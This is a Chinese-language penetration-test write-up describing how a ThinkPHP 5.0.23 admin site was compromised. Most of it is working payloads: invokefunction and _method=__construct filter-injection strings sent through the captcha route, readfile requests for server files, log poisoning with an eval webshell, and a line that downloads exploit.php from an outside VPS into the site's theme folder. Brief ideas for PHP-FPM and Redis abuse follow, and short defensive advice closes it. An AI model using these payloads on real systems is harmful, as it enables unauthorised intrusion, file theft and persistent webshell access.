一次艰难的TP渗透测试
字数 1130 2025-08-19 12:41:36
ThinkPHP 5.0.23 渗透测试实战分析
1. 信息收集阶段
1.1 目标识别
- 目标URL:
www.a.com/admin - 自动跳转至:
www.a.com/admin/publicer/login - 框架识别: ThinkPHP 5.0.23 (在已知漏洞版本范围内)
1.2 初始漏洞探测
尝试使用以下常见ThinkPHP漏洞payload:
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
_method=__construct&filter[]=system&method=GET&get[]=id
发现均不成功,但确认目标开启了pathinfo模式。
2. 验证码路由利用
2.1 验证码路由发现
访问 index.php?s=captcha 成功,表明存在验证码路由。
2.2 方法转换测试
将请求方法改为POST,尝试执行系统命令:
POST /?s=captcha HTTP/1.1
_method=__construct&method=get&filter[]=system&server[REQUEST_METHOD]=1&get[]=id
返回500错误,但使用var_dump可以执行成功:
_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=1&get[]=2
2.3 PHP信息收集
成功执行phpinfo():
_method=__construct&method=get&filter[]=phpinfo&server[REQUEST_METHOD]=1&get[]=4
收集到关键信息:
- PHP版本: 7.2.18
- 禁用函数列表: 包含passthru,exec,system,putenv等常见命令执行函数
- open_basedir限制:
/www/wwwroot/vulhostcn/:/tmp/:/proc/ - 文件路径:
/www/wwwroot/vulhost/public/index.php - Session存储: Redis
3. 绕过限制尝试
3.1 文件包含利用
尝试通过文件包含执行代码:
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=/tmp/sess_asd
_method=__construct&method=get&filter[]=think\Session::set&get[]=<?php x ?>
由于Session存储在Redis中,此方法失败。
3.2 Redis利用尝试
尝试通过Redis进行命令执行:
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=curl_exec(curl_init("dict://127.0.0.1:6379/info"));
失败告终。
3.3 文件读取利用
成功使用readfile读取文件:
_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhost/public/index.php
确认了网站的实际路径为/www/wwwroot/vulhostcn/
读取日志文件:
_method=__construct&method=get&filter[]=readfile&server[REQUEST_METHOD]=/www/wwwroot/vulhostcn/data/runtime/log/202004/04.log
4. 成功利用
4.1 日志文件包含
通过文件包含执行PHP代码:
_method=__construct&method=get&filter[]=call_user_func&server[REQUEST_METHOD]=<?php eval($_POST['c']);?>
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=phpinfo();
4.2 写入Webshell
写入免杀shell:
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=file_put_contents("/www/wwwroot/vulhostcn/public/themes/admin_themes/3.php",file_get_contents("http://vps:65534/exploit.php"));
4.3 目录浏览
查看目录内容:
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=../data/runtime/log/202004/04.log&c=print_r(scandir("/www/wwwroot/vulhostcn/public/"));
5. 其他利用思路
5.1 FPM利用
尝试通过PHP-FPM进行利用:
$sock = stream_socket_client('unix:///tmp/php-fcgi.sock',$errno,$errstr);
5.2 Redis扩展利用
通过Redis上传.so文件实现命令执行。
6. 总结
6.1 关键利用点
- 验证码路由
s=captcha的POST请求漏洞 _method=__construct参数注入- 通过文件包含执行日志文件中的PHP代码
- 利用
think\__include_file进行文件包含
6.2 绕过技巧
- 使用未被禁用的函数如
var_dump、readfile等 - 通过文件包含绕过命令执行限制
- 利用日志文件作为代码写入点
6.3 防御建议
- 及时升级ThinkPHP框架
- 限制危险函数的使用
- 严格控制文件写入权限
- 日志文件不应存放在web可访问目录
- 禁用不必要的路由和功能